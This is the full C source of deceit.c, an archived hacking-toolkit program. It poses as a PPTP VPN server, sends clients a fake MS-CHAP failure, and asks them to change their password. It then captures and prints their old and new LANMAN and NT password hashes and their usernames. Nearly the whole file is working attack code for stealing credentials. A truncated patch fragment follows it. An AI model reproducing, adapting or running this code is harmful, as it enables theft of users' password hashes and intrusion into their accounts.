home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Toolkit v2.0
/
Hackers_Toolkit_v2.0.iso
/
HTML
/
archive
/
Unix
/
c-src
/
deceit.c
< prev
next >
Wrap
C/C++ Source or Header
|
1999-11-04
|
41KB
|
1,323 lines
/*
* deceit.c by Aleph One
*
* This program implements enough of the PPTP protocol to steal the
* password hashes of users that connect to it by asking them to change
* their password via the MS-CHAP password change protocol version 1.
*
* The GRE code, PPTP structures and defines were shamelessly stolen from
* C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
* implementation.
*
* This code has been tested to work againts Windows NT 4.0 with the
* PPTP Performance Update. If the user has selected to use the same
* username and password as the account they are currently logged in
* but enter a different old password when the PPTP client password
* change dialog box appears the client will send the hash for a null
* string for both the old LANMAN hash and old NT hash.
*
* You must link this program against libdes. Email messages asking how
* to do so will go to /dev/null.
*
* Define BROKEN_RAW_CONNECT if your system does not know how to handle
* connect() on a raw socket. Normally if you use connect with a raw
* socket you should only get from the socket IP packets with the
* source address that you specified to connect(). Under HP-UX using
* connect makes read never to return. By not using connect we
* run the risk of confusing the GRE decapsulation process if we receive
* GRE packets from more than one source at the same time.
*/
#include <stdio.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>
#include <unistd.h>
#include "des.h"
#ifdef __hpux__
#define u_int8_t uint8_t
#define u_int16_t uint16_t
#define u_int32_t uint32_t
#endif
/* define these as appropiate for your architecture */
#define hton8(x) (x)
#define ntoh8(x) (x)
#define hton16(x) htons(x)
#define ntoh16(x) ntohs(x)
#define hton32(x) htonl(x)
#define ntoh32(x) ntohl(x)
#define PPTP_MAGIC 0x1A2B3C4D /* Magic cookie for PPTP datagrams */
#define PPTP_PORT 1723 /* PPTP TCP port number */
#define PPTP_PROTO 47 /* PPTP IP protocol number */
#define PPTP_MESSAGE_CONTROL 1
#define PPTP_MESSAGE_MANAGE 2
#define PPTP_VERSION_STRING "1.00"
#define PPTP_VERSION 0x100
#define PPTP_FIRMWARE_STRING "0.01"
#define PPTP_FIRMWARE_VERSION 0x001
/* (Control Connection Management) */
#define PPTP_START_CTRL_CONN_RQST 1
#define PPTP_START_CTRL_CONN_RPLY 2
#define PPTP_STOP_CTRL_CONN_RQST 3
#define PPTP_STOP_CTRL_CONN_RPLY 4
#define PPTP_ECHO_RQST 5
#define PPTP_ECHO_RPLY 6
/* (Call Management) */
#define PPTP_OUT_CALL_RQST 7
#define PPTP_OUT_CALL_RPLY 8
#define PPTP_IN_CALL_RQST 9
#define PPTP_IN_CALL_RPLY 10
#define PPTP_IN_CALL_CONNECT 11
#define PPTP_CALL_CLEAR_RQST 12
#define PPTP_CALL_CLEAR_NTFY 13
/* (Error Reporting) */
#define PPTP_WAN_ERR_NTFY 14
/* (PPP Session Control) */
#define PPTP_SET_LINK_INFO 15
/* (Framing capabilities for msg sender) */
#define PPTP_FRAME_ASYNC 1
#define PPTP_FRAME_SYNC 2
#define PPTP_FRAME_ANY 3
/* (Bearer capabilities for msg sender) */
#define PPTP_BEARER_ANALOG 1
#define PPTP_BEARER_DIGITAL 2
#define PPTP_BEARER_ANY 3
struct pptp_header {
u_int16_t length; /* message length in octets, including header */
u_int16_t pptp_type; /* PPTP message type. 1 for control message. */
u_int32_t magic; /* this should be PPTP_MAGIC. */
u_int16_t ctrl_type; /* Control message type (0-15) */
u_int16_t reserved0; /* reserved. MUST BE ZERO. */
};
struct pptp_start_ctrl_conn { /* for control message types 1 and 2 */
struct pptp_header header;
u_int16_t version; /* PPTP protocol version. = PPTP_VERSION */
u_int8_t result_code; /* these two fields should be zero on rqst msg*/
u_int8_t error_code; /* 0 unless result_code==2 (General Error) */
u_int32_t framing_cap; /* Framing capabilities */
u_int32_t bearer_cap; /* Bearer Capabilities */
u_int16_t max_channels; /* Maximum Channels (=0 for PNS, PAC ignores) */
u_int16_t firmware_rev; /* Firmware or Software Revision */
u_int8_t hostname[64]; /* Host Name (64 octets, zero terminated) */
u_int8_t vendor[64]; /* Vendor string (64 octets, zero term.) */
/* MS says that end of hostname/vendor fields should be filled with */
/* octets of value 0, but Win95 PPTP driver doesn't do this. */
};
struct pptp_out_call_rqst { /* for control message type 7 */
struct pptp_header header;
u_int16_t call_id; /* Call ID (unique id used to multiplex data) */
u_int16_t call_sernum; /* Call Serial Number (used for logging) */
u_int32_t bps_min; /* Minimum BPS (lowest acceptable line speed) */
u_int32_t bps_max; /* Maximum BPS (highest acceptable line speed) */
u_int32_t bearer; /* Bearer type */
u_int32_t framing; /* Framing type */
u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */
u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */
u_int16_t phone_len; /* Phone Number Length (num. of valid digits) */
u_int16_t reserved1; /* MUST BE ZERO */
u_int8_t phone_num[64]; /* Phone Number (64 octets, null term.) */
u_int8_t subaddress[64]; /* Subaddress (64 octets, null term.) */
};
struct pptp_out_call_rply { /* for control message type 8 */
struct pptp_header header;
u_int16_t call_id; /* Call ID (used to multiplex data over tunnel)*/
u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst)*/
u_int8_t result_code; /* Result Code (1 is no errors) */
u_int8_t error_code; /* Error Code (=0 unless result_code==2) */
u_int16_t cause_code; /* Cause Code (addt'l failure information) */
u_int32_t speed; /* Connect Speed (in BPS) */
u_int16_t recv_size; /* Recv. Window Size (no. of buffered packets) */
u_int16_t delay; /* Packet Processing Delay (in 1/10 sec) */
u_int32_t channel; /* Physical Channel ID (for logging) */
};
struct pptp_set_link_info { /* for control message type 15 */
struct pptp_header header;
u_int16_t call_id_peer; /* Peer's Call ID (call_id of pptp_out_call_rqst) */
u_int16_t reserved1; /* MUST BE ZERO */
u_int32_t send_accm; /* Send ACCM (for PPP packets; default 0xFFFFFFFF)*/
u_int32_t recv_accm; /* Receive ACCM (for PPP pack.;default 0xFFFFFFFF)*/
};
#define PPTP_GRE_PROTO 0x880B
#define PPTP_GRE_VER 0x1
#define PPTP_GRE_FLAG_C 0x80
#define PPTP_GRE_FLAG_R 0x40
#define PPTP_GRE_FLAG_K 0x20
#define PPTP_GRE_FLAG_S 0x10
#define PPTP_GRE_FLAG_A 0x80
#define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C)
#define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R)
#define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K)
#define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S)
#define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A)
struct pptp_gre_header {
u_int8_t flags; /* bitfield */
u_int8_t ver; /* should be PPTP_GRE_VER (enhanced GRE) */
u_int16_t protocol; /* should be PPTP_GRE_PROTO (ppp-encaps) */
u_int16_t payload_len; /* size of ppp payload, not inc. gre header */
u_int16_t call_id; /* peer's call_id for this session */
u_int32_t seq; /* sequence number. Present if S==1 */
u_int32_t ack; /* seq number of highest packet recieved by */
/* sender in this session */
};
#define PACKET_MAX 8196
static u_int32_t ack_sent, ack_recv;
static u_int32_t seq_sent, seq_recv;
static u_int16_t pptp_gre_call_id;
#define PPP_ADDRESS 0xFF
#define PPP_CONTROL 0x03
/* PPP Protocols */
#define PPP_PROTO_LCP 0xc021
#define PPP_PROTO_CHAP 0xc223
/* LCP Codes */
#define PPP_LCP_CODE_CONF_RQST 1
#define PPP_LCP_CODE_CONF_ACK 2
#define PPP_LCP_CODE_IDENT 12
/* LCP Config Options */
#define PPP_LCP_CONFIG_OPT_AUTH 3
#define PPP_LCP_CONFIG_OPT_MAGIC 5
#define PPP_LCP_CONFIG_OPT_PFC 7
#define PPP_LCP_CONFIG_OPT_ACFC 8
/* Auth Algorithms */
#define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP 0x80
/* CHAP Codes */
#define PPP_CHAP_CODE_CHALLENGE 1
#define PPP_CHAP_CODE_RESPONCE 2
#define PPP_CHAP_CODE_SUCESS 3
#define PPP_CHAP_CODE_FAILURE 4
#define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1 5
#define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2 6
#define PPP_CHAP_CHALLENGE_SIZE 8
#define PPP_CHAP_RESPONCE_SIZE 49
#define MSCHAP_ERROR "E=648 R=0"
struct ppp_header {
u_int8_t address;
u_int8_t control;
u_int16_t proto;
};
struct ppp_lcp_chap_header {
u_int8_t code;
u_int8_t ident;
u_int16_t length;
};
struct ppp_lcp_packet {
struct ppp_header ppp;
struct ppp_lcp_chap_header lcp;
};
struct ppp_lcp_chap_auth_option {
u_int8_t type;
u_int8_t length;
u_int16_t auth_proto;
u_int8_t algorithm;
};
struct ppp_lcp_magic_option {
u_int8_t type;
u_int8_t length;
u_int32_t magic;
};
struct ppp_lcp_pfc_option {
u_int8_t type;
u_int8_t length;
};
struct ppp_lcp_acfc_option {
u_int8_t type;
u_int8_t length;
};
struct ppp_chap_challenge {
u_int8_t size;
union {
unsigned char challenge[8];
struct {
unsigned char lanman[24];
unsigned char nt[24];
u_int8_t flag;
} responce;
} value;
/* name */
};
struct ppp_mschap_change_password {
char old_lanman[16];
char new_lanman[16];
char old_nt[16];
char new_nt[16];
u_int16_t pass_length;
u_int16_t flags;
};
#define ppp_chap_responce ppp_chap_challenge
void net_init();
void getjiggywithit();
void handleit(struct sockaddr_in *);
void send_start_ctrl_conn_rply();
void send_out_call_rply(struct pptp_out_call_rqst *, struct sockaddr_in *);
int decaps_gre (int (*cb)(void *pack, unsigned len));
int encaps_gre (void *pack, unsigned len);
int do_ppp(void *pack, unsigned len);
void do_gre(struct sockaddr_in *);
void send_lcp_conf_rply(void *);
void send_lcp_conf_rqst();
void send_chap_challenge();
void send_chap_failure();
void print_challenge_responce(void *);
void paydirt(void *);
char *n;
int sd, rsd, pid;
void main(int argc, char **argv)
{
n = argv[0];
net_init();
getjiggywithit();
}
void net_init()
{
int yes = 1;
struct sockaddr_in sa;
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror(n); exit(1); }
if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) != 0)
{
perror(n);
exit(1);
}
bzero((char *) &sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(PPTP_PORT);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(sd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror(n); exit(1); }
if (listen(sd, 5) < 0) { perror(n); exit(1); }
}
void getjiggywithit()
{
struct sockaddr_in sa;
int sucker, size;
size = sizeof(sa);
if ((sucker = accept(sd, (struct sockaddr *)&sa, &size)) == -1)
{
perror(n);
exit(1);
}
close(sd);
sd = sucker;
handleit(&sa);
exit(0);
}
void handleit(struct sockaddr_in *sa)
{
union {
struct pptp_header h;
unsigned char buffer[8196];
} p;
int hlen, len, type;
hlen = sizeof(struct pptp_header);
for(;;)
{
len = read(sd, p.buffer, hlen);
if (len == -1) { perror(n); exit(1); }
if (len != hlen) { printf("Short read.\n"); exit(1); }
len = read(sd, p.buffer + hlen, ntoh16(p.h.length) - hlen);
if (len == -1) { perror(n); exit(1); }
if (len != (ntoh16(p.h.length) - hlen)) {printf("Short read.\n"); exit(1);}
if (ntoh32(p.h.magic) != 0x1A2B3C4D) { printf("Bad magic.\n"); exit(1); }
if (ntoh16(p.h.pptp_type) != 1) {printf("Not a control message.\n");exit(1);}
type = ntoh16(p.h.ctrl_type);
switch(type)
{
/* we got a live one */
case PPTP_START_CTRL_CONN_RQST:
send_start_ctrl_conn_rply();
break;
case PPTP_OUT_CALL_RQST:
send_out_call_rply((struct pptp_out_call_rqst *)&p, sa);
break;
case PPTP_SET_LINK_INFO:
printf("<- PPTP Set Link Info\n");
break;
default:
printf("<- PPTP unknown packet: %d\n", type);
}
}
}
void send_start_ctrl_conn_rply()
{
struct pptp_start_ctrl_conn p;
int len, hlen;
hlen = sizeof(struct pptp_start_ctrl_conn);
printf("<- PPTP Start Control Connection Request\n");
printf("-> PPTP Start Control Connection Reply\n");
bzero((char *)&p, hlen);
p.header.length = hton16(hlen);
p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
p.header.magic = hton32(PPTP_MAGIC);
p.header.ctrl_type = hton16(PPTP_START_CTRL_CONN_RPLY);
p.version = hton16(PPTP_VERSION);
p.result_code = 1;
p.framing_cap = hton32(PPTP_FRAME_ASYNC); /* whatever */
p.bearer_cap = hton32(PPTP_BEARER_ANALOG); /* ditto */
bcopy("owned", p.hostname, 5);
bcopy("r00t", p.vendor, 4);
len = write(sd, &p, hlen);
if (len == -1) { perror(n); exit(1); }
if (len != hlen) { printf("Short write.\n"); exit(1); }
}
static gre = 0;
void send_out_call_rply(struct pptp_out_call_rqst *r, struct sockaddr_in *sa)
{
struct pptp_out_call_rply p;
int len, hlen;
hlen = sizeof(struct pptp_out_call_rply);
printf("<- PPTP Outgoing Call Request\n");
printf("-> PPTP Outgoing Call Reply\n");
pptp_gre_call_id = r->call_id;
/* Start a process to handle the GRE/PPP packets */
if (!gre)
{
gre = 1;
switch((pid = fork()))
{
case -1:
perror(n);
exit(1);
case 0:
close(sd);
do_gre(sa);
exit(1); /* not reached */
}
}
bzero((char *)&p, hlen);
p.header.length = hton16(hlen);
p.header.pptp_type = hton16(PPTP_MESSAGE_CONTROL);
p.header.magic = hton32(PPTP_MAGIC);
p.header.ctrl_type = hton16(PPTP_OUT_CALL_RPLY);
p.call_id = hton16(31337);
p.call_id_peer = r->call_id;
p.result_code = 1;
p.speed = hton32(28800);
p.recv_size = hton16(5); /* whatever */
p.delay = hton16(50); /* whatever */
p.channel = hton32(31337);
len = write(sd, &p, hlen);
if (len == -1) { perror(n); exit(1); }
if (len != hlen) { printf("Short write.\n"); exit(1); }
}
struct sockaddr_in src_addr;
void do_gre(struct sockaddr_in *sa)
{
#ifndef BROKEN_RAW_CONNECT
struct sockaddr_in src_addr;
#endif
int s, n, stat;
/* Open IP protocol socket */
rsd = socket(AF_INET, SOCK_RAW, PPTP_PROTO);
if (rsd<0) { perror("gre"); exit(1); }
src_addr.sin_family = AF_INET;
src_addr.sin_addr = sa->sin_addr;
src_addr.sin_port = 0;
#ifndef BROKEN_RAW_CONNECT
if (connect(rsd, (struct sockaddr *) &src_addr, sizeof(src_addr))<0) {
perror("gre"); exit(1);
}
#endif
ack_sent = ack_recv = seq_sent = seq_recv = 0;
stat=0;
/* Dispatch loop */
while (stat>=0) { /* until error happens on s */
struct timeval tv = {0, 0}; /* non-blocking select */
fd_set rfds;
int retval;
n = rsd + 1;
FD_ZERO(&rfds);
FD_SET(rsd, &rfds);
/* if there is a pending ACK, do non-blocking select */
if (ack_sent!=seq_recv)
retval = select(n, &rfds, NULL, NULL, &tv);
else /* otherwise, block until data is available */
retval = select(n, &rfds, NULL, NULL, NULL);
if (retval==0 && ack_sent!=seq_recv) /* if outstanding ack */
encaps_gre(NULL, 0); /* send ack with no payload */
if (FD_ISSET(rsd, &rfds)) /* data waiting on socket */
stat=decaps_gre(do_ppp);
}
/* Close up when done. */
close(rsd);
}
int decaps_gre (int (*cb)(void *pack, unsigned len)) {
unsigned char buffer[PACKET_MAX+64/*ip header*/];
struct pptp_gre_header *header;
int status, ip_len=0;
if((status=read(rsd, buffer, sizeof(buffer)))<0)
{perror("gre"); exit(1); }
/* strip off IP header, if present */
if ((buffer[0]&0xF0)==0x40)
ip_len = (buffer[0]&0xF)*4;
header = (struct pptp_gre_header *)(buffer+ip_len);
/* verify packet (else discard) */
if (((ntoh8(header->ver)&0x7F)!=PPTP_GRE_VER) || /* version should be 1 */
(ntoh16(header->protocol)!=PPTP_GRE_PROTO)|| /* GRE protocol for PPTP */
PPTP_GRE_IS_C(ntoh8(header->flags)) || /* flag C should be clear */
PPTP_GRE_IS_R(ntoh8(header->flags)) || /* flag R should be clear */
(!PPTP_GRE_IS_K(ntoh8(header->flags))) || /* flag K should be set */
((ntoh8(header->flags)&0xF)!=0)) { /* routing and recursion ctrl = 0 */
/* if invalid, discard this packet */
printf("Discarding GRE: %X %X %X %X %X %X",
ntoh8(header->ver)&0x7F, ntoh16(header->protocol),
PPTP_GRE_IS_C(ntoh8(header->flags)),
PPTP_GRE_IS_R(ntoh8(header->flags)),
PPTP_GRE_IS_K(ntoh8(header->flags)),
ntoh8(header->flags)&0xF);
return 0;
}
if (PPTP_GRE_IS_A(ntoh8(header->ver))) { /* acknowledgement present */
u_int32_t ack = (PPTP_GRE_IS_S(ntoh8(header->flags)))?
header->ack:header->seq; /* ack in different place if S=0 */
if (ack > ack_recv) ack_recv = ack;
/* also handle sequence number wrap-around (we're cool!) */
if (((ack>>31)==0)&&((ack_recv>>31)==1)) ack_recv=ack;
}
if (PPTP_GRE_IS_S(ntoh8(header->flags))) { /* payload present */
unsigned headersize = sizeof(*header);
unsigned payload_len= ntoh16(header->payload_len);
u_int32_t seq = ntoh32(header->seq);
if (!PPTP_GRE_IS_A(ntoh8(header->ver))) headersize-=sizeof(header->ack);
/* check for incomplete packet (length smaller than expected) */
if (status-headersize<payload_len) {
printf("incomplete packet\n");
return 0;
}
/* check for out-of-order sequence number */
/* (handle sequence number wrap-around, cuz we're cool) */
if ((seq > seq_recv) ||
(((seq>>31)==0) && (seq_recv>>31)==1)) {
seq_recv = seq;
return cb(buffer+ip_len+headersize, payload_len);
} else {
printf("discarding out-of-order\n");
return 0; /* discard out-of-order packets */
}
}
return 0; /* ack, but no payload */
}
int encaps_gre (void *pack, unsigned len) {
union {
struct pptp_gre_header header;
unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)];
} u;
static u_int32_t seq=0;
unsigned header_len;
int out;
/* package this up in a GRE shell. */
u.header.flags = hton8 (PPTP_GRE_FLAG_K);
u.header.ver = hton8 (PPTP_GRE_VER);
u.header.protocol = hton16(PPTP_GRE_PROTO);
u.header.payload_len = hton16(len);
u.header.call_id = hton16(pptp_gre_call_id);
/* special case ACK with no payload */
if (pack==NULL)
if (ack_sent != seq_recv) {
u.header.ver |= hton8(PPTP_GRE_FLAG_A);
u.header.payload_len = hton16(0);
u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */
ack_sent = seq_recv;
#ifndef BROKEN_RAW_CONNCET
return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq));
#else
return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0,
(struct sockaddr *) &src_addr, sizeof(src_addr));
#endif
} else return 0; /* we don't need to send ACK */
/* send packet with payload */
u.header.flags |= hton8(PPTP_GRE_FLAG_S);
u.header.seq = hton32(seq);
if (ack_sent != seq_recv) { /* send ack with this message */
u.header.ver |= hton8(PPTP_GRE_FLAG_A);
u.header.ack = hton32(seq_recv);
ack_sent = seq_recv;
header_len = sizeof(u.header);
} else { /* don't send ack */
header_len = sizeof(u.header) - sizeof(u.header.ack);
}
if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */
/* copy payload into buffer */
memcpy(u.buffer+header_len, pack, len);
/* record and increment sequence numbers */
seq_sent = seq; seq++;
/* write this baby out to the net */
#ifndef BROKEN_RAW_CONNECT
return write(rsd, u.buffer, header_len+len);
#else
return sendto(rsd, &u.buffer, header_len+len, 0,
(struct sockaddr *) &src_addr, sizeof(src_addr));
#endif
}
int do_ppp(void *pack, unsigned len)
{
struct {
struct ppp_header ppp;
struct ppp_lcp_chap_header header;
} *p;
p = pack;
switch(ntoh16(p->ppp.proto))
{
case PPP_PROTO_LCP:
switch(ntoh8(p->header.code))
{
case PPP_LCP_CODE_CONF_RQST:
printf("<- LCP Configure Request\n");
send_lcp_conf_rply(pack);
send_lcp_conf_rqst();
break;
case PPP_LCP_CODE_CONF_ACK:
printf("<- LCP Configure Ack\n");
send_chap_challenge(pack);
break;
case PPP_LCP_CODE_IDENT:
/* ignore */
break;
default:
printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
case PPP_PROTO_CHAP:
switch(ntoh8(p->header.code))
{
case PPP_CHAP_CODE_RESPONCE:
printf("<- CHAP Responce\n");
print_challenge_responce(pack);
send_chap_failure();
break;
case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
paydirt(pack);
break;
default:
printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code,
p->header.ident, ntoh16(p->header.length));
}
break;
default:
printf("<- PPP unknwon packet: %X\n", ntoh16(p->ppp.proto));
}
return(1);
}
void send_lcp_conf_rply(void *pack)
{
struct {
struct ppp_header ppp;
struct ppp_lcp_chap_header lcp;
} *p = pack;
printf("-> LCP Configure Ack\n");
p->lcp.code = hton8(PPP_LCP_CODE_CONF_ACK);
encaps_gre(p, ntoh16(p->lcp.length) + sizeof(struct ppp_header));
}
void send_lcp_conf_rqst()
{
struct {
struct ppp_header ppp;
struct ppp_lcp_chap_header lcp;
struct ppp_lcp_chap_auth_option auth;
} pkt;
printf("-> LCP Configure Request\n");
bzero(&pkt, sizeof(pkt));
pkt.ppp.address = hton8(PPP_ADDRESS);
pkt.ppp.control = hton8(PPP_CONTROL);
pkt.ppp.proto = hton16(PPP_PROTO_LCP);
pkt.lcp.code = hton8(PPP_LCP_CODE_CONF_RQST);
pkt.lcp.ident = hton8(9);
pkt.lcp.length = hton16(4 +5);
pkt.auth.type = hton8(PPP_LCP_CONFIG_OPT_AUTH);
pkt.auth.length = hton8(5);
pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
pkt.auth.algorithm = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);
encaps_gre(&pkt, 13);
}
void send_chap_challenge()
{
struct {
struct ppp_header ppp;
struct ppp_lcp_chap_header chap;
struct ppp_chap_challenge challenge;
} pkt;
printf("-> CHAP Challenge\n");
bzero(&pkt, sizeof(pkt));
pkt.ppp.address = hton8(PPP_ADDRESS);
pkt.ppp.control = hton8(PPP_CONTROL);
pkt.ppp.proto = hton16(PPP_PROTO_CHAP);
pkt.chap.code = hton8(PPP_CHAP_CODE_CHALLENGE);
pkt.chap.length = hton16(13);
pkt.challenge.size = hton8(8);
encaps_gre(&pkt, 4 + 13);
}
void print_challenge_responce(void *pack)
{
unsigned char name[512], *c;
int len;
struct {
struct ppp_header ppp;
struct ppp_lcp_chap_header chap;
struct ppp_chap_challenge responce;
} *p;
p = pack;
c = p->responce.value.responce.lanman;
printf(" LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
c[22], c[23]);
c = p->responce.value.responce.nt;
printf(" NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
c[22], c[23]);
printf(" Use NT hash: %d\n", p->responce.value.responce.flag);
bzero(name, 512);
len = ntoh16(p->chap.length) - 54;
bcopy(((char *)p) + 4 + 54, name, len);
name[len] = '\0';
printf(" User: %s\n", name);
}
void send_chap_failure()
{
struct {
struct ppp_header ppp;
struct ppp_lcp_chap_header chap;
char message[64];
} pkt;
printf("-> CHAP Failure\n");
bzero(&pkt, sizeof(pkt));
pkt.ppp.address = hton8(PPP_ADDRESS);
pkt.ppp.control = hton8(PPP_CONTROL);
pkt.ppp.proto = hton16(PPP_PROTO_CHAP);
pkt.chap.code = hton8(PPP_CHAP_CODE_FAILURE);
pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR));
strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));
encaps_gre(&pkt, 4 + 4 + strlen(MSCHAP_ERROR));
}
extern int des_check_key;
void paydirt(void *pack)
{
unsigned char out[8], out2[8], key[8];
struct {
struct ppp_header ppp;
struct ppp_lcp_chap_header chap;
struct ppp_mschap_change_password passwds;
} *pkt;
des_key_schedule ks;
pkt = pack;
bzero(key, 8);
printf("<- MSCHAP Change Password Version 1 Packet.\n");
/* Turn off checking for weak keys within libdes */
des_check_key=0;
des_set_odd_parity((des_cblock *)key);
des_set_key((des_cblock *)key, ks);
des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,(des_cblock *) out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), (des_cblock *)out2, ks, 0);
printf(" Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,(des_cblock *) out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), (des_cblock *)out2, ks, 0);
printf(" New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,(des_cblock *) out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), (des_cblock *)out2, ks, 0);
printf(" Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,(des_cblock *) out, ks, 0);
des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), (des_cblock *)out2, ks, 0);
printf(" New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);
printf(" New Password Length: %d\n", ntoh16(pkt->passwds.pass_length));
kill(pid, SIGTERM);
exit(0);
}
-- cut here --
A1 posted some changes on NTbugtraq to this program. Here is a patch :
*** deceit.c Thu Jul 9 17:19:44 1998
--- a Mon Jul 13 13:20:54 1998
***************
*** 9,22 ****
* C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
* implementation.
*
! * This code has been tested to work againts Windows NT 4.0 with the
! * PPTP Performance Update. If the user has selected to use the same
! * username and password as the account they are currently logged in
! * but enter a different old password when the PPTP client password
* change dialog box appears the client will send the hash for a null
! * string for both the old LANMAN hash and old NT hash.
*
! * You must link this program against libdes. Email messages asking how
* to do so will go to /dev/null.
*
* Define BROKEN_RAW_CONNECT if your system does not know how to handle
--- 9,28 ----
* C. Scott Ananian's <cananian@alumni.princeton.edu> Linux PPTP client
* implementation.
*
! * This code has been tested to work againts Windows 95 with the Winsock,
! * DUN 1.2 and DUN 1.2b updates, and against Windows NT 4.0 with the PPTP
! * Performance Update running under HP-UX.
! *
! * Windows 95 does not send the old and new NT hashes when changing the
! * password.
! *
! * Under Windows NT 4.0 if the user has selected to use the same username
! * and password to logon to the PPTP server as the currently logged on
! * user but enters a different old password when the PPTP client password
* change dialog box appears the client will send the hash for a null
! * string for both the old LANMAN hash and the old NT hash.
*
! * You must link this program against libdes. Email messages asking how
* to do so will go to /dev/null.
*
* Define BROKEN_RAW_CONNECT if your system does not know how to handle
***************
*** 29,34 ****
--- 35,41 ----
*/
#include <stdio.h>
+ #include <strings.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <sys/socket.h>
***************
*** 190,225 ****
static u_int32_t seq_sent, seq_recv;
static u_int16_t pptp_gre_call_id;
! #define PPP_ADDRESS 0xFF
! #define PPP_CONTROL 0x03
/* PPP Protocols */
! #define PPP_PROTO_LCP 0xc021
! #define PPP_PROTO_CHAP 0xc223
/* LCP Codes */
! #define PPP_LCP_CODE_CONF_RQST 1
! #define PPP_LCP_CODE_CONF_ACK 2
! #define PPP_LCP_CODE_IDENT 12
/* LCP Config Options */
#define PPP_LCP_CONFIG_OPT_AUTH 3
! #define PPP_LCP_CONFIG_OPT_MAGIC 5
! #define PPP_LCP_CONFIG_OPT_PFC 7
! #define PPP_LCP_CONFIG_OPT_ACFC 8
/* Auth Algorithms */
! #define PPP_LCP_AUTH_CHAP_ALGO_MSCHAP 0x80
/* CHAP Codes */
! #define PPP_CHAP_CODE_CHALLENGE 1
! #define PPP_CHAP_CODE_RESPONCE 2
! #define PPP_CHAP_CODE_SUCESS 3
! #define PPP_CHAP_CODE_FAILURE 4
! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V1 5
! #define PPP_CHAP_CODE_MSCHAP_PASSWORD_V2 6
! #define PPP_CHAP_CHALLENGE_SIZE 8
#define PPP_CHAP_RESPONCE_SIZE 49
#define MSCHAP_ERROR "E=648 R=0"
--- 197,232 ----
static u_int32_t seq_sent, seq_recv;
static u_int16_t pptp_gre_call_id;
! #define PPP_ADDRESS 0xFF
! #define PPP_CONTROL 0x03
/* PPP Protocols */
! #define PPP_PROTO_LCP 0xc021
! #define PPP_PROTO_CHAP 0xc223
/* LCP Codes */
! #define PPP_LCP_CODE_CONF_RQST 1
